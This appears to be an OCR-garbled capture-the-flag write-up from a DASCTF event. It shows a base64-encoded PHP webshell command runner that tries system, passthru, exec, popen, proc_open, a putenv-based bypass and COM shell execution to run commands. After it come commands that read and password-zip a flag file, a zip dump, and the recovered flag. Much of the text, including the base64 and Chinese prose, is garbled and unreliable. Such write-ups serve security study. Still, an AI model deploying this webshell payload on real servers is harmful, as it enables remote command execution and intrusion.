uY3Rpb24gZmUoJGYpeyRkPWV4cGxvZGUoIiwil EBpbmlfZ2VOKCIkaXNhYmx1X2Z1bmNOaWOucyIpKTtpZihlbXBOeSgkZCkpeyRkPWFycmF5KC
k7FWVsc2V7IGQOYXIyYX1fbWFwKCdOcmltIyxhcnIheVOtYXAoJ3NOcnRvbG93ZXInLCRkKSk7fXI1dHVybihmdW5jdGlvb191eGlzdHMoJGYpJi
Zpc19jYWxsYWIsZSgkZikmJiFpbl9hcnJheSgkZiwkZCkp0307ZnVuY3Rpb24gcnVuc2hlbGxzaG9jaygkZCwgIGMpIHtpZiAoc3Vic3RyKCRKL(
AWLCAXKSA9PSAiLyIgliYgZmUoJ3B1dGVudicpICYmIChmZSgnZXJyb33fbGOnlykgfHwgZmUoJ21haWwnKSkpIHtpZiAoc3Ryc3RyKHI1YWRsalW
S5rKCIVYmluL3NoIiksICJiYXNoIikgITOgRkFMUBUpIHskdG1wIDOgdGVtcG5hbShzeXNfZ2VOX3R1bXBfZGlyKCksICdhcycpO3B1dGVudigiUE
hQX@xPTDOOKSB7IHg7IHO7ICRFIDAkdGIWIDI+IFEiKTtpZiAoZmUoI2VycmOyX2xvZycpKSB7ZXJyb3IfbGInKCIhIiwgMSk7FSB1bHNIIHttYW,
1sKCIhQDEYNy4wL jAUMSIsICIiLCAiTiwgIilidiIp0319IGVsc2Uge3I1dHVybiBGYWxzZTt9IG91dHB1dCA9IEBmMaWx1X2d1dF9jb250ZW50cy)]
gkdG1wKTtAdWS5saW5rKCRObXAp021mICgkb3VOCHVOICESICIiKSB7cHIpbnQoJG91dHB1dCk7cmVOdXIJuIFRydWU7fX1yZXR1cmAdgRmFsc2U7FT|
tmdW5jdGlvbiBydW5jbWQoJGMpeyRyZXQ9MDskZD1kaXJuYW11KCRFUBVSVKVSWyITQ1IIJUFRFRkIMRUSBTUUiIXSk7aWYoZmUoJ3N5c3R1bScpKX]
tAc31zdGVtKCRjLCRyZXQp0311bHNlaWYoZmUoJ3Bhc3N@aHI1Jykpe@BwYXNzdGhydSgkYywkcmVOKTt9ZWxzZW1mKGZ1KCdzaGVsbF91leGV]jly
kpe3ByaW50KEBzaGVsbF91eGVjKCRjKSk7fWVsc2VpZihmZSgnZXhlYycpKXtAZXhlYygkYywkbywkcmVOKTtwcmludChgb21luKCIKIiwkbykpO3|
11bHN1aWYoZmUoJ3BvcGVuJykpeyRmcD1AcGOWZWA0IGMsI3InKTt3aGlsZSghQGZ1b2YoJGZwKS17cHIpbnQoQGZnZXRzKCRmcCwyMDQAKSk7fU
BwY2xvc2UoJGZwWKTt9ZWxzZWImKGZ1KCdwcm9jX29wZWAnKS17IHAgPSBACHIVY19vcGVUKCRjLCBhcnJIheSgxIDO+IGFycmF5KCdwaXB1lJywgJ 3|
cnKSwgMiA9PiBhcnJheSgncGlwZScsICd3JykpLCAkaW8p03doaWx1KCFAZmVvZigkaW9bMVOpKXtwcmludChAZmd1dHMoJIGlviWzFdLDIwWNDgEpKT]
t9d2hpbGUoIUBMZWIOMKCRpb1lsyXSkpe3ByaW50KEBmZ2VocygkaW9bM10sMjABOCkpO31AZmNsb3N1KCRpb1sxXSk7QGZjbG9zZSgkaW9bM10p0Q
Bwcm9jX2Nsb3N1KCRWKTt9ZWxzZWImKGZ1KCdhbnRzeXNOZWONKS17QGFudHN5c3R1bSgkYyk7fWVsc2VpZihydW5zaGVsbHNob2NrKCRkLCAKYY]
kpIHtyZXR1cm4gIHI1dDt9ZWxzZWImKHN1YNNOcigkZCwwLDEpITOiLyIgJiYgQGNsYXNzX2V4aXNOcygiQO9NIikpeyR3PW51dyBDTO00I1dTY3
JpcHQuc2hlbGwnKTskZTOkdy0+ZXh1lYygkYyk7IHNVPSRILTS5TAGRPAXQoKTskcmVOLjOkc28tP1I1YWRBbGwoKTskc2U9IGUtP1NOZEVycigpOy)|
RyZXQUPSRzZS@+UmVhZEF sbCgp03ByaW50KCRyZXQp0311bHN1eyRyZXQgPSAxMjc7FXI1dHVybiAkcmVO0307IHI1dD1ACNVUY21kKCRYLiIgM]
AmMSIpO3ByalW50ICgkcmVOITOWKT81icmVOPXskcmVOfSI6IiI7031jYXRjaChFeGN1cHRpb24gIGUpe2VjaG8gIkVSUk9S0i8vIi4kZS0+Z2VOTW
zCc2FnZSgp0307YXNvdXRwdXQoKTtkaWUoKTs="

}

ERIX RN, BB ga7ocrefosscts HIRTH M E5R Sbase6b4

cd "/Users/chang/Sites/test";head -n 2 ../flag.txt;echo [S];pwd;echo [E]

M AR, REEFE20MEHEKET

cd "/Users/chang/Sites/test";zip -P PaSsZiPWorD flag.zip ../flag.txt;echo [S];pwd;echo [E]

flaght K46 T QWQ, &ERA TS K




e EHNRE, ERE - MEEER T —MEHEXH

eb327956PK B 3ERX T
../flag.txtUT ?LbK6Lbux
?

p=TH#¥ET?? yiGHANDAR ? RDMI{ B tFEfith?g<O<k< B ? P VIR ML B MRARPTADMEPK 33X T PK WE 3mX T
] ../flag.txtUT ?Lbux
PK Q @ 44e71eb66

kxR, PiFwinhexEH, )5 %R PassziPWorD fiRJE

Yes,this is the flag file.
And the flag is:

DASCTF{f3f32f434eddbc6e6b5043373af95ae8}

DASCTF{f3f32f434eddbc6e6b5043373af95ae 8}

F At 7L

JHENIRGE T Orz

o Crypto/dif#
o B4 PwWniif#
o #84 RESf#
o B4 Miscii fi#
o #B4>Webi f#
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https://4xwi11.github.io/posts/9171e9d7/
https://reurl.cc/0pOVvo
https://reurl.cc/Gxrzjp
https://reurl.cc/Rr15Ae
https://reurl.cc/Gxrzpp
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